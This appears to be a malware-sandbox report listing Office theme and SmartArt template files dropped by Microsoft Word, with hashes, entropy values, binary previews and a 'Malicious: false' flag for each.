SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
